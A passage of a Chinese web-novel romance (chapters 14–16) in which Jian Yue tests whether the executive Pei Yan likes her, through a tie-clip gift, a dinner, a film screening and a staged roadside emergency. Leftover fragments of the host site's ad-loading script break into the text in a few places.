window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能看出点端倪。” “等他藏不住的时候,你就可以问他为什么喜欢你啦。” 简月听完觉得有道理。 真的喜欢一个人,一定是藏不住的。 “那我试试。”简月说。 “你要是试出什么结果,记得告诉我一声,我也挺好奇的。” “好啊,不过这么晚了,你也该洗漱休息了,赶紧去吧去吧,晚安。” 互道完晚安,简月挂断电话,又点开和裴言的对话框。 简月:[后天有空吗,我请你吃饭。] 聊天框的最上方很快变成了“对方正在输入中”。 没多久,裴言回复:[几点。] 简月:[七点,有空吗?我们去吃晚饭。] 裴言:[好,那我到时候联系你。] 普普通通的回复,倒是看不出什么。 简月想了想,继续打字:[对了,你知道那条项链的市值是八百万吗?] 裴言:[知道。] 知道还花那么多钱? 真不知该说人傻钱多还是…… 简月觉得好笑,故意回复接下来的话—— 简月:[那就好。] 简月:[如果有一天,你后悔送我了,想把项链或者钱要回去,我是不会赔你两千一百万的。] 简月:[最多一千二。] 消息发出去后,她开始饶有兴趣地等裴言的回复。 界面的最上方开始反反复复出现“对方正在输入中”。 良久,新的回复显示出来。 裴言:[我看起来,] 裴言:[很像是那种送完礼物又反悔算账的人吗?] 是不像,可是这么逗逗他,简月觉得挺好玩的。 他好像不知道在游轮上抱起她的时候,她还有意识。 裴言:[你放心,送出去的东西我从不收回。] 裴言:[你喜欢就留着,哪天看腻了不喜欢了,卖了也随你。] 简月:[这么大方?那正好,后天一起吃饭的时候,我有礼物给你。] 这句话发出去后,对面沉默了。 连最上方的输入提示都消失了。 这个反应倒是有点不普通了。 五分钟后,裴言回了消息——却不是回的礼物那条,而是另起了新话题。 裴言:[身体好点了吗?] 简月:[好多了,等后天见你的时候,应该就彻底好了。] 裴言:[嗯,那就好。] 直到最后他也没有对礼物那条消息做出正面回复。 但说出去的话泼出去的水,既然说了要给裴言带礼物,简月不由开始思考送什么比较好。 最好是用得上但又不经常用的,一个普通的不算越界的礼物。 蓦地,她脑海里闪过裴言助理说过的一句话。 裴总不喜欢穿正装。 ——她知道要送裴言什么礼物了。 * 在家舒舒服服养了两天病,第三天,简月的身体彻底好了。 烧退了,精气神也恢复了。 下午收拾东西离开的时候,江颖有些不舍:“记得不忙的时候,多回来陪陪妈妈。” “嗯,我记得了。”简月笑着道,“好了妈,你回去吧,我走了。” 从别墅区离开,简月开着车,直奔一家奢牌饰品店。 店员看到她推门而入,立刻迎上来:“简女士,您稍等,我这就让人把您预定的饰品送过来。” 简月点头。 店员动作很快,不多时就拿着一个小纸袋走过来:“女士,您的东西,您看看有没有问题。” 简月打开看了一眼。 银色的领带夹,是她在官网上预定的那一款。 没错。 “没问题。” 简月将领带夹重新装回袋子里,转身离开,店员在身后礼貌道:“欢迎您下次再来。” 六点四十五,简月将车停在了亚恒楼下。 见时间还早,她又慢腾腾地将车开进地库,然后取出手机,给裴言发了个消息。 简月:[我到了,地库C-53这里。] 裴言很快回复:[五分钟。] 简月:[好,不急。] 五分钟快到的时候,她拿着礼物下了车。 与此同时,男人的身影也适时出现在她视线中。 简月看清他的衣着,忍不住笑了下。 果然,他今天没有穿正装,黑色西装外套下,是一件他自己的私服。 裴言来到她面前,视线似有若无地扫了下她手里的纸袋:“走吧,坐我的车。” “不用,既然说了我请客我选地方,当然是坐我的车。” “对了,你的礼物。” 简月说着,从纸袋中取出饰品盒打开。 接着看看男人的衣服,佯装出一副才注意到的样子:“啊,我忘了,你不喜欢穿正装的。” 她拿起那枚银色的领带夹,在他身上比划了一下,语气惋惜:“光想着这枚领带夹比较衬你就买了,忘了你不用这些的。” 接着故意叹一口气:“那这个领带夹,你还要吗?” 14. 骄傲-14% 说完这句话,简月目光移至他脸上,忍不住好奇他的反应。 结果是裴言平静地从她手中拿走领带夹,反问:“谢礼?” 没有看到预想中的任何一种反应,简月微微一愣,接着道:“啊,对,礼尚往来嘛。” “是项链的往来,还是我把你带到接待室等你醒来的往来?”男人看向领带夹,银色的一抹金属光泽搭配深色西装,确实是亮眼又精致的小点缀。 “你希望是哪种?”简月把问题抛回给他。 他轻笑一声,抬眼看她:“项链的礼尚往来,这一个领带夹恐怕不够,所以。”他极自然地把领带夹放回盒子中,然后盖上,装回纸袋,又极自然地从她手中拿走纸袋,“我就姑且当做是后者的回礼了,刚好,我缺一个领带夹。” 是吗? 究竟是因为缺领带夹才收下,还是因为想要她的东西才收下? 简月微微弯唇,接着问:“对了,我忘了问你,那天我晕倒,你是怎么把我带回接待室的?” 男人神色微微一滞。 她观察着他的表情,很贴心地给了台阶:“也是找工作人员帮忙的吗?” “不然呢。”他脸上很快恢复平静,顺着台阶回答道。 不然个鬼。 真以为她什么都不知道啊。 如果不是喜欢她,她实在想不到有什么隐瞒和嘴硬的必要。 简月忍着戳穿他的冲动,意味深长看了他几眼,转身道:“上车吧,我带你去吃饭。” * 她选了一家专做酸菜鱼的小店。 这家小店远离商圈,地处一条平平无奇的街道上,因为店面小和没什么宣传,知道的人并不多。 但凡是来这里吃过的人,都一定会第二次第三次踏入这家店。 她就是这样被姜予彤带入坑的。 车停在路边,简月没急着下车,先看向副驾的裴言:“店小了点,但味道很好,你介意吗?” 一个出入各种高级场合、吃过各种高级餐厅的总裁,介不介意跟她来这样的路边小店吃饭? 裴言看向窗外的铺面:“不会。” 七点半,已经过了饭点,是以店里的人不多。 老板娘正在收拾桌子,听到声响抬起头,看见是她,露出一个热情的笑容,语气熟稔:“带朋友过来啊,随便坐吧,你们先点菜,我马上就来。” 简月笑着应了一声,带着裴言找了个安静靠里的位子坐下。 坐好后,裴言不动声色打量一圈店里的环境,说道:“经常来?” “算是。”简月放下包,拿起菜单熟练地划了几个勾,“这店家虽然小但挺干净的,十几年的老店了,附近很多人都经常来这里吃。” 说着抬头看了一眼他:“还好你里面穿的是私服,不会在这家店显得格格不入。” 她把菜单递过去:“看看还要加什么吗?” 裴言接过菜单,扫了一眼:“就这些吧。” 简月点的是经典的酸菜鱼,里面又加了几个配菜,搭配米饭,两个人吃刚刚好。 鱼端上桌的时候,香味立刻溢出,简月取出筷子道:“尝尝看。” 这家店的鱼汤熬得极好,酸菜又开胃,一口下去就能让人食欲大增,忍不住多吃一口又一口。 裴言取出筷子,夹了一块尝下,慢慢道:“是不错。” 他吃得很矜持,慢条斯理,倒是看不出什么嫌弃,跟上次在西餐厅吃饭的样子无甚区别。 好像在哪里吃饭对他来说,根本不值得在意。 简月无声笑了一下:“那就好。” 她突然觉得有点讽刺。 一个不一定喜欢她的人愿意坐在这里陪她吃酸菜鱼,而她从前名正言顺的男朋友却不肯陪她来吃。 从前在英国留学的时候,受美食荒漠的迫害,她吃过不少一言难尽的东西,是以对食物的接受程度很高。 但司衡是天之骄子,没有体会过人间疾苦,衣食住行样样讲究,即便他在她面前极好说话,也只能做到陪她来店里,然后看着她吃——他自己是不肯动一口筷子的。 但一个人吃一个人看这样的吃饭有什么意思? 简月觉得扫兴,之后也不再多提,实在想吃的时候,便会等姜予彤休息时再一起来吃。 如今再看,她和司衡果然从一开始就不是一路人。 …… “发什么呆?”裴言的声音拉回了她的思绪。 简月回神,笑了笑:“没什么。” 她看着对面的男人,觉得心里好像有个角软了下去。 店里的人越来越少,外面的街道也越来越安静,等两人吃完,已接近九点。 结完账回到路边,简月看着他道:“我打算在附近散会儿步再回去,你可以自己回去吗?如果你觉得无聊,我可以陪你等你的车来。” 说完,简月开始观察他的反应。 ——她是故意这么说的。 现在已经是晚上,又不在人多热闹的商圈,街道寂静,人烟稀少,连车辆驶过的声音都格外明显,如果裴言在意她,顾念她的安全,她不信他会一走了之,留她一个人在这里。 她说的散步,就是故意说给他听的,毕竟如果他走了,她也不会傻乎乎留在这里。 她只会上车回家。 果然,男人微微蹙眉,抓住了她想要他注意的重点:“散步?” “对。”简月笑着点头,“现在的天气刚刚好,不冷也不热,我想散步走一走。” 平静的夜晚,裴言看着她,沉默几秒说:“我陪你一起。” 明明是意料之中的结果,她却不知怎的,心跳一慢。 简月错开他的目光,撩了一把被风吹乱的碎发,说:“嗯,那走吧。” 两人沿着路边慢慢走,一段路后,简月开口:“介意陪我说说话吗?” 裴言“嗯”了声:“说什么?” “说一些你不太会感兴趣的话。” “比如?” “比如。”简月看着前方的路,无声笑笑,“我和他分手时,其实有点难过。” 裴言沉默。 她没有说名字,但两人都知道她在说谁。 简月说了一句便止住,笑着反问:“这种事情你应该觉得很无聊吧?你不想听我就不说了。” 微凉的风从两人中间穿过,又走了几步,裴言开口:“如果你需要倾诉,我可以听。” “是吗?那我有一个问题想问你。”简月停下来,看着他道,“你觉得,他为什么要背叛我?是他准备无缝衔接下一个,还是他想全都要?” 裴言亦停下来,却没有看她,目视着前方:“我不知道。” “我只知道。”他一字一字,声音平静,“他配不上你。” “……”简月呼吸轻了轻。 没由来的,她从这几个字中感受出一种珍视。 这样的话感情色彩太强烈了,像是因种种原因没能得到的珍宝落入他手,最后却发现并没有被好好待之。 她问:“你不觉得是我识人不清眼光不佳,才落得这样的结果吗?” “不觉得。”他终于转过来看她,黑眸中有几分异样,“做出那种事的人是他,为什么要从自己身上找原因。其实你……” “我什么?我值得更好的?” 男人罕见地迟疑了下,最终点头。 身后一辆车忽然疾驰而过。 街道重新恢复寂静时,简月忽然上前一步,微微踮脚,直视着他的眼睛道:“裴言,我忽然很好奇,你对每个女人都是这样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 离得近了,他眼尾那颗痣就越发明显。 冷淡与撩人两种截然不同的气质在他身上矛盾地交织着。 面对她的突然靠近,男人定定站在原地没有动。 微不可察地,他的喉结滚了一下。 半晌,他反问:“你觉得呢?” 每次遇到这种问题,他都会用反问的方式巧妙回避掉。 简月知道他为什么不正面回答,忍不住笑了,缓缓站回去,替他打了圆场:“绅士风度,我懂。” 男人闻言,眸色幽深几分,没有反驳。 “好了。”今晚所有的问题都已问完,简月转身,“我们回去吧。” 只是在转身的瞬间,裴言叫住她:“简月。” “现在呢,还难过吗?”他问。 简月愣了一秒,回答道:“当然不。”她看着他微笑,“之前难过是觉得他变了心,现在不难过,是彻底看清了他。他既然谁都不爱只爱自己,那我当然也不会为这种人难过。” 男人看她几秒:“那就好。” 两人走回到停车的地方,裴言的车也正好到了。 简月打开车门站在车旁,朝他晃晃手机:“有事再联系。” 他看着她点头,弯腰上了车。 回到家,简月给姜予彤发消息。 简月:[我更觉得他喜欢我了。] 简月:[具体表现为,他想要我的礼物,他不嫌弃我们经常去的那家酸菜鱼小店,他听说我要散步主动陪我一起,主动听我倾诉。] 简月:[还有。] 简月:[他说司衡配不上我。] 姜予彤:[可以啊,越来越明显了。] 姜予彤:[那下一步呢,什么计划?] 简月:[等他来找我。] 简月:[看他会隔多少天。] 简月:[顺便找亚恒的人打听一下,他有没有用我送的领带夹。] * 早上八点,助理照旧和前台打过招呼,刷卡上了三十三层。 只是在看到裴言的那一刻,他眨了眨眼睛,又揉了揉眼睛,有些怀疑自己没睡醒。 ——裴总今天穿的是正装。 黑色的衬衫西装配深红色的领带,袖口露出三分,领带上还很讲究地别了一枚银色领带夹,亮晶晶的,精致得他不敢相信。 裴总本就是衣架子身材,纯黑色正装一上身,配上他本就冷然的五官,矜贵的上位者气质瞬间显现了出来。 帅到连他只是跟在裴总身后都觉得格外有面子。 但问题是,他记得今天没有正式场合或重大会议啊? 裴总怎么会穿正装来上班? 助理想了几秒瞬间冷汗都要下来了。 他奔回自己的办公位,取出总裁行程表仔仔细细看了好几遍,困惑更深了。 他没记错啊,难道是裴总临时约的行程? 于是早上汇报完工作,助理看着裴言的脸小心翼翼问了一句:“裴总,今天您有临时会议或活动吗?” “没有,怎么了?”裴言抬眼看他。 也没怎么,就是……就是…… 他战战兢兢退出总裁办,还是百思不得其解。 见鬼了。 今天一定是见、鬼、了。 但很快助理发现不止是今天见鬼了。 第二天,第三天……第七天,裴总依旧是一身正装。 衣服每天都在换,只有领带上的领带夹万年不变。 助理渐渐品过味儿来,这是买了个新领带夹,为了不浪费所以才每天穿正装来上班? 他一时有些感慨。 他虽然不知道裴总什么时候多了这个爱好,但目前看来,裴总对那个领带夹,还真是——爱得深沉啊。 15. 骄傲-15% 裴言是在第八天给她发消息的。 裴言:[创世最近抛售了一些小IP。] 只有这么一句,再无其他。 简月看到这条消息,不由挑了下眉。 创世这一动作其实算不上什么秘密,稍稍留心便能得知,裴言专门给她发这样一条消息,其实有点没话找话的意思。 当然,硬要解释的话也能解释——定期筛选清理IP在外人看来是正常的商业运作,但在他们眼里,这可能意味着创世的流动资金出现了缺口。 几千万的现金流看起来不多,但一旦停滞,不能及时补上,相关项目运转都会受到影响,造成的损失或可达数亿元。 简月回复:[你觉得有问题?] 裴言:[是比之前频繁了些。] 简月:[因为《星河》?] 裴言:[可能。] 裴言:[过两个月再看。] 裴言:[对了,《男主为何还不杀我》的筹备进度我让助理发给你们了,记得看看有没有问题。] 简月:[有问题,我正要和你说呢。] 简月:[你往窗外看,我在亚恒楼下,还是那辆陶瓷蓝的车。] 这条消息发出去后,她的手机足足安静了一分钟。 她在楼下?怎么可能。 她又不可能未卜先知裴言今天会给她发消息。 她不过是起了玩心,想逗逗他罢了。 不过看他这幅反应,该不会真朝窗外看了吧? 简月接着打字:[看到了吗?] 脑补着裴言的反应,她就是莫名觉得有趣。 一分钟后,裴言的新消息跳了出来:[不是来过我的办公室?三十三层能看见什么。] 这话回得冷静淡定,看起来半点没受她的影响,但简月觉得,以他的个性,他很有可能在嘴硬。 唇角不知何时微微弯起,简月不打算再逗他,将话题拉回到正事上。 简月:[随便跟你开个玩笑,没想到你反应挺快,没上当。] 简月:[我二十分钟后到亚恒,有空吗?] 男人回复:[来吧。] 回完最后一条消息,裴言放下手机,抬手按了按额角。 刚才简月说她在楼下,他竟然真的心脏一跳,鬼使神差站起身向楼下望去。 可是三十三楼能看清什么呢? 一百米的高度下,无论是人还是车,都渺小到不可能看清。 理智回笼后,他都有点想笑自己的蠢了。 五分钟前他才给简月发消息,她怎么可能那么快出现在这里。 可他就是,每每遇上她,都跟撞了邪一样。 她说什么,他便下意识信什么。 * 二十分钟后,简月停好车,同上次一样,由助理带着前往三十三层。 电梯里,看着缓慢上升的数字,简月同助理搭起话:“你们裴总最近心情怎么样?” 助理愣了一下,回答:“挺好……吧。” 简月好笑:“吧?” 助理回忆了一下,语气带着微微的不确定:“裴总从不把私人感情带到工作中,我也不好判断。不过裴总新买了枚领带夹,最近每天都戴着来公司,所以我猜……裴总应该心情不错。” 天天带着。 别人不知道那枚领带夹的意义,她还能不知道吗? 她想过裴言会戴,可没想过他天天戴。 他竟然这么喜欢,这么……重视。 心脏涌起一点酸酸暖暖的感觉,简月假装惊讶:“领带夹?他不是不喜欢穿正装吗?” 电梯发出“叮”的一声,三十三层到了。 助理领着她走出电梯,声音困惑地回道:“可能,喜欢领带夹大于不喜欢正装吧。” 来到总裁办门外,助理替她敲开门,等她进去,又在身后帮他们关上了门。 男人正好从办公桌后站起。 他果然如助理所说,一身纯黑色的西装,领带上别着那枚银色的领带夹。 不得不说,裴言天生就适合黑色。 禁欲,沉稳,完美衬出他的冷傲。 深红色领带做配,恰到好处地去了单调。 裁剪得体的西装上褶线锋利,配上修长的手和立体的五官,天生就是吸睛的存在。 看起来非常的,帅。 简月仔仔细细打量他一遍,最后将目光停在领带夹上。 裴言也顺着她的目光低头看了一眼:“今天试戴了一下,还不错。” 简月想笑,看向他的脸:“只是今天?” 难道不是上次一别后的每一天吗? 裴言点头:“你也知道,我很少穿正装。” 男人嘴硬得面不改色,可惜,他对自己被卖得干干净净这件事一无所知。 简月没有戳穿他,轻轻弯唇:“其实你这样穿很好看。” “是吗。”男人唇边亦弯起一个轻轻的弧度,“多谢夸奖。” 他向她走来:“不是说有问题找我?什么问题?” 提起正事,简月立刻恢复正经,从包里取出一份打印好的文件,翻开几页,指着中间几行道:“这里。” 其实这也算不上什么很重要的事。 就像裴言没话找话地给她发消息一样,她带着这份文件来,也有点没事找事的意思。 文件是一个剧本大纲,简月翻开其中一页,和裴言聊起剧情安排的顺序问题。 有时候只是铺垫的顺序不同,就可能造成高潮爆发时,天差地别的情绪区别。 半小时后,讨论结束。 裴言问:“还有别的问题吗?” “还有一个。”简月说,“下周《爱的镜头》点映,邀请你了吗?” “邀请了,怎么?” “没怎么,我刚好想看这部,打算预估一下成绩,再看看预估得准不准,算是了解一下圈内的风向吧。”她笑了笑,状似随意道,“要不要一起?” “和我一起?”裴言的目光缓缓扫过她的脸,像是在观察什么,“你朋友呢?” “她在拍戏。” “没有别人了?” “没有了。”简月歪了歪头,以退为进道,“没关系,你要是不方便,我自己一个人也可以。” 男人喉结滚了滚,藏在袖下的手指不动声色地握紧。 他想说,她不怕被人误会吗?可他又怕说了反倒是提醒她。 最终,在简月拉开门的时候,裴言的声音在身后响起。 “那一起吧。” 简月背对着他,在他看不见的地方露出一个笑,语气轻快道:“那下周见。” 离开亚恒坐进自己的车里,简月打字给姜予彤。 简月:[问过了,我送的领带夹他每天都在用,不过他本人只承认了一天。] 简月:[另外,我问他要不要一起去看《爱的镜头》点映,他同意了。] 简月:[下周我们去看电影。] 晚上,姜予彤回了消息,语气是前所未有的肯定。 姜予彤:[他肯定喜欢你。] * 《爱的镜头》点映定在周五,恰逢周末。 片方对这部电影的定位就是一个没什么内涵博人一笑的爆米花片。 为了验证片子的质量,片方选择在部分影院先进行点映试水,并邀请一些业内人士来免费观看,做出评价。 裴言就是被邀请的人之一。 且,简月不在其中。 毕竟简家的业务不止在影视圈,充其量只能说是一只脚踏了进来。 裴言知道她不在邀请之列,特意问她要不要他另包一场来陪她。 简月的回答是不用,随便选一个普通观众也能购票的场次就好。 她想看看,裴言作为走到哪里都被人簇拥着的亚恒总裁,会不会为了她,一起去看一场毫无特权的电影。 意料之中的,裴言再一次答应了她。 * 周五当天,按照约定的时间,简月换好衣服下了楼,刚推开楼门,就看到一辆极显眼的车和一个极显眼的人。 说显眼,倒不是因为他的衣着,而是他的长相和气质。 他今天又换回了休闲舒适的私服,仍是一身黑,慵懒随性,又带着一点锋芒。 见她出来,裴言微微点了下头:“走吧。” “你怎么……”简月愣了愣。 裴言送她回过家,知道她的地址不稀奇,稀奇的是他主动来接她。 他们之间的界限,好像越来越不明显了。 外人都说裴言从不和异性有过近的接触,那他来接她的意思是? 还是说,他改变主意,准备将自己的感情一点点展露在她面前了? 裴言:“时间还早,顺路接你一起过去。” 一个聊胜于无的理由。 “那就辛苦你开车了。”简月笑笑,打开车门上了车。 车驶入主路,简月随口问道:“对了,今天怎么不见你戴领带夹?” 裴言:“我本来也不是天天系领带,偶尔用一次就够了,怎么可能天天戴。” …… 那收到领带夹后天天穿正装去公司的人是谁? 是一个也叫裴言的同名同姓的人吗? 简月紧紧抿着唇,防止自己把这些话直接说出来。 姜予彤说了,现在问他他肯定不会承认的。 还不到时候,还不到时候。 因为一路沉默,车又开得十分平稳,简月很快陷入昏昏欲睡并保持了一路。 到电影院的时候,离点映开始还有二十分钟。 刚好是可以放人进去的时间。 取了票进去坐好,裴言拿出手机:“我回个消息。” 简月“嗯”了声,不经意间看到他输密码的动作,一种直冲天灵盖的熟悉涌了上来。 他按得很快,九宫格的键盘上,依次是最下、左、最上、最上。 简月在心里对比着按了一遍。 0、7、2、2。 她的生日。 竟然还是她的生日。 裴言竟然一直没改密码。 彼时他为了证明手机是他的,将密码告诉了她,按正常人的逻辑,应该离开后就光速换掉才对。 他怎么不换? 是他不介意密码被她知道,还是这个密码对他有特殊意义? 简月乱糟糟地想了半天,影厅的灯忽然暗下来。 电影开始播放。 昏暗的环境下,所有的感官都被放大,一举一动都格外明显,她原本想趁着这个机会好好观察一下裴言的反应,可当电影剧情渐入佳境,她的注意力便再也没有移开过。 直到片尾字幕出现,影厅的灯重新亮起,她才反应过来。 …… 该死,她忘了! 一转头,男人也正好看向她,沉静的黑眸中隐约有温柔一闪而逝。 一瞬间让她有种,他没看电影,而是一直在看她的感觉。 简月愣了愣,问:“你看了吗,觉得怎么样?” 裴言略一思忖:“这里人多,出去说吧。” 于是两个人站起来往出走。 简月走了几步,直到跨入过道,终于想起电影里一个场景为什么让她觉得分外熟悉了。 她微微偏头,问裴言:“你觉不觉得中间那段扭扭舞特别像……” “像《低俗小说》里的场景?”男人极自然地接道。 啊,对,就是《低俗小说》,1994年昆汀的经典电影。 可没等她接话,跟在他们身后的两个女生就发出了一阵不大不小的鄙夷声。 显然,她们听见了裴言的话。 稍高一些的女生看着裴言,义正言辞道:“跳个舞就低俗了?你是不是看什么都是黄色?” 她的眼神里,满满都是“看着人模狗样没想到内里这么脏”的恶心。 而另一个女生看向她的目光,也变得有几分微妙。 既有“她怎么交上这么个男朋友”的同情,也有“她愿打愿挨那她们也无能为力”的冷漠。 简月愣了一秒,愤怒后知后觉地涌上来。 她们在说什么啊? 她转身想冲上去理论,却被身侧的男人握住手腕,裴言看着她,平静得仿佛被骂的人不是他一样。 他说:“走吧。” 手腕上的力紧了紧,他没有给她反应的时间,带着她离开了影厅。 来到影厅外的无人处,简月抿紧唇,渐渐冷静下来。 好一会儿她才开口,看着裴言说:“《低俗小说》是部电影。” 裴言:“嗯。” “那你刚才怎么不解释?” “为什么要解释,我永远都不会再见到她们了。”裴言走近一步,低头看她,语气有种罕见的温柔,“而且,我也不在乎别人怎么看我。” 他在乎的人只有…… 静了静,他接着道:“你为什么这么着急?你很在乎别人的看法吗?” 不,她不在乎。 她如果在乎,就不会在刚跟司衡分手的时候和裴言一起参加酒会。 她刚才是…… 意识到那个答案,简月瞳孔一缩,震惊地向后退了半步。 她刚才竟然在替裴言在乎。 她们说裴言是不是看什么都是黄色,觉得裴言下流,可她知道不是那样的。 裴言不是那样的人。 “怎么了?”裴言停在原地,没有再继续上前。 “没什么。”她错开他的目光,“我有点渴,我去买瓶水。” 说完转身,从包里取出手机。 走了几步,想起手机密码的事,简月又停下,将手机装回包里,回头看向裴言道:“我手机没电了,可以借你的手机买瓶水吗?” 男人蓦地笑了,走上前来:“我给你买。” 来到自动贩卖机前,简月选了两瓶水,然后让开,给裴言腾出付钱的位置。 男人没有多想,解锁手机—— 简月的声音在这时响起:“你的密码。” 她眼睛里多出一点笑意:“回去后没有换吗?就不怕我哪天再捡错手机,用你的手机干点什么?” 裴言的动作顿了顿。 下一秒,他镇定自若地付了钱,将水取出递到她手上,不紧不慢地回答了那个问题:“忘了,回去就改。” 简月保持着笑容,没有说话。 是吗,回去就改? 那如果之后再被她看到0722的解锁密码,他就没有理由狡辩了吧。 乘坐电梯回到地下车库,拐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过一个弯,一抹刺眼的车前灯远远照了过来。 简月顿时侧身,准备给车让道,却不期然撞上了身后那人的胸膛。 男人没料到她的突然后退,撞上去的瞬间,身体僵了僵。 他甚至伸出手,下意识想扶她的腰,可在触及的一刻,又瞬间清醒,收回了手。 车很快从两人面前驶过。 简月先反应过来,拉开足够的距离,语气歉疚:“不好意思。” 裴言移开视线,声音莫名哑了些:“没事。” 两人向停车的位置走去,一路沉默。 而这一路,简月数不清究竟用余光看了多少次裴言。 其实,就在刚刚,不止裴言,她的身体也僵硬了一瞬。 他身上有一股独特的冷香,撞上去的一刻就迅速侵占了她的嗅觉感官。 接着,她听见了男人有力的心跳声。 与此同时,她还感觉到腰间被什么东西轻轻碰了一下。 一触即分。 等到两人拉回至安全距离,她才后知后觉反应过来,碰她的是什么东西。 ——是裴言的手。 面对猝不及防的肢体接触,他的第一反应,不是推拒,不是躲开,不是排斥。 而是亲近。 他的身体在本能亲近她。 而这种反应,只可能是面对喜欢的人才会出现。 至于她…… 简月荒唐地发现,刚才那一瞬间,她对裴言竟然也没什么排斥。 怎么会呢? 坐上车,狭窄的空间瞬间将刚才那份尴尬和不自然放大。 简月系好安全带,沉默一会儿,觉得哪里都不自在,没话找话道:“今天的电影,我觉得一般。” “虽然节奏紧凑,事件一个接一个,能让人一直看下去,但看完后却没什么记忆点,没有后劲儿。” 裴言:“是。” “有模仿《低俗小说》的痕迹,但叙事的结构又没有《低俗小说》精妙。” 她总结:“最终票房,估计两到三亿吧。” 她干巴巴地分析完,问裴言:“你觉得呢?” “差不多。”顿了顿,他说,“你很聪明。” “是吗?”她笑了笑,“谢谢。” 这句话说完,车内又陷入沉默。 刚才那种尴尬的感觉又回来了。 简月觉得更难熬了。 她如若针毡,等车停在楼下,几乎立刻解了安全带下车。 隔着车窗,她僵硬挥手,说了声“再见”。 男人摇下车窗,略一点头,回了一句“再见”。 说完不再停留,车飞快开了出去。 简月站在原地,看着裴言的车消失在视线中,终于微微松了口气。 上楼洗漱完,她躺在沙发上,惯例给姜予彤发消息。 简月:[他一直没改手机密码,还是0722。] 简月:[我假装看见后提醒他了,如果下次再被我撞见他没改,那就……嗯,你懂的。] 简月:[还有,今天不小心撞了他一下,他的身体反应不像排斥。] 简月:[我觉得他就是喜欢我,百分百。] 想了想,她又打下一行字。 简月:[予彤,我有点忍不住了,我想问他了。] 大约是姜予彤正在房间休息,没多久就回了消息。 姜予彤:[我也觉得他就是喜欢你……] 姜予彤:[不过我有个问题想问你。] 姜予彤:[你想知道他喜不喜欢你,知道了然后呢?如果他真的喜欢你,你打算怎么办?] 姜予彤:[如果你打算得出结果后拒绝他……我怕你会激怒他。] 姜予彤的语气激动了点:[裴言,那可是裴言啊。如果有一个人这样试探你又拒绝你,你也不会轻易放过他的吧?] 简月歪着头想了想。 不知从什么时候起,她对裴言早没了那种合作伙伴的感觉——严肃,正经,又小心翼翼。 不知从什么时候起,她看他的感觉更像一个……有发展可能的男人。 在她心里,感情不止一见钟情,还有相处了解后的日久生情。 她不认为两个人必须要互相喜欢才能在一起。 只要她不排斥,她就愿意试试。 万一呢,万一相处一段时间后喜欢上了呢。 就像司衡一样。 经过这几次的相处,事实已经告诉她她不排斥裴言了,那么如果裴言真的喜欢她—— 她不介意和他试一试,不介意和他在一起。 人会下意识多关注喜欢自己的人,也会容易喜欢上一个喜欢自己的人。 她的确在不知不觉间,将越来越多的目光和注意力放在了裴言身上。 如果他想和她在一起,也不是不行。 想清楚后,简月回复:[不会,如果他想,我可以答应他。] 姜予彤:[确定?] 简月:[他和我挺像的,说不定我会慢慢喜欢上他。] 简月:[你知道吗,今天看完电影,他被人误会却没有生气,全程平静,还对我说,为什么要在意别人的看法,我当时就……] 姜予彤:[就动心了?] 简月嘴角抽了抽,回复:[就挺欣赏他的。] 她喜欢强大的人,这个强大不止指外在,还指内在。 姜予彤发了个捂嘴偷笑的小兔子表情,意味深长地重复:[欣赏——] 姜予彤:[那既然你确定了,打算什么时候问他?] 姜予彤:[是不是下次见你,裴言就是你男朋友了?] “男朋友”三个字一出,简月的脸竟然热了热。 又想起在停车场时,男人站在她身后的感觉。 他很高,双肩宽阔,只要伸出双手,就有种完全将她护在怀里的感觉。 …… 真是,人家还没承认,她们倒是把以后都幻想得明明白白了。 简月懊恼地吐槽了一顿自己,接着打字:[等他下次来找我,我就问他。] * 然而这个下次,却迟迟没有来。 整整一周,裴言都没有再找过她。 只有合作的事会照旧让助理和他们公司的人对接,他本人从不出面。 简月等了一周,越等越困惑。 难道是上次她不小心撞了他一下,让他察觉到自己的失态,打算自己冷静一段时间了? 那可不行。 冷淡期这种东西,可不是什么好兆头。 她得想个办法让裴言主动来找她。 晚上八点,简月将车停在路边,打开微信,编辑了一条朋友圈。 【救命,车没油停半路了,我还有急事,谁现在有空来帮我一把。】 编辑完,她又点开可见范围,选择——仅裴言可见。 然后点击发送。 这个借口算不上精妙,但人的感情有个特点,关心则乱。 裴言既然喜欢她,她就不信他会无动于衷。 发完朋友圈,简月耐心地等待着。 一分钟,两分钟,三分钟。 时间一分一秒地过去。 十分钟后,裴言的消息弹了出来。 裴言:[在哪儿。] 16. 骄傲-16% 裴言赶到时,距离简月发定位的时间已经过去了三十分钟。 他关上车门下了车,却只见简月的车,不见简月本人。 他取出手机,又发了一条消息:[你在哪儿。] 简月回复:[向前200米,路边。] 路边? 她不是急着用车给车加油吗,怎么跑这么远? 裴言奇怪了一瞬,还是依言向前走去。 两百米不长,很快,简月的身影就出现在他视线中。 她坐在路边,身下垫了一层卫生纸,看到他来,还气定神闲地朝他挥了挥手。 看起来半点朋友圈里的急切紧迫感都没有。 她说的急事…… 裴言隐隐猜出什么,放慢脚下的步子,慢吞吞走到她面前,淡淡开口:“不是有急事吗?怎么坐在这里?” 简月支着下巴仰头看他,笑了笑:“当然是因为你太慢了,事情已经解决了啊。” 裴言:“……” 眼看男人的脸色有些不好,简月又补充道:“不过害你白跑一趟,我也挺过意不去的,改天请你吃饭怎么样?” 他垂眸看她,好似对她有种无可奈何的感觉,轻叹一口气,再开口的声音里添了一丝不易察觉的纵容:“算了,你的事解决了就好。” 简月好奇:“你怎么不问我是什么事?” “……是什么事?” “帮我爸爸一个朋友送两瓶酒过去。”她随口编了个理由,“他要得很急,说这会儿就要用,我给你发完定位才想起来你过来还得好久,就先走路给他送过去了。” 她指了指远处:“就在那里,还好,一千多米,不是很远。” 裴言沉默几秒,忍不住笑了一声,像是觉得荒诞:“一千多米?走路?这就是你说的急事?” 他敛了笑,好心“提醒”道:“你可以打车。” 基本算是戳破了她的借口。 但简月本来也没打算费力去圆,戳破就戳破了,只要她不承认,他也不能怎样。 于是她依旧笑吟吟地看着他道:“是哦,我忘了。” 裴言:“……” 他轻轻移开视线,没有再追问,道:“那还等什么,走吧。” “走不了。” 她指指自己的右脚:“脚崴了。” 男人闻言,果然将视线移向她的脚。 脚裸被垂下来的裤边盖住,什么也看不到,但很显然,简月也没有撩开裤腿让他看的意思。 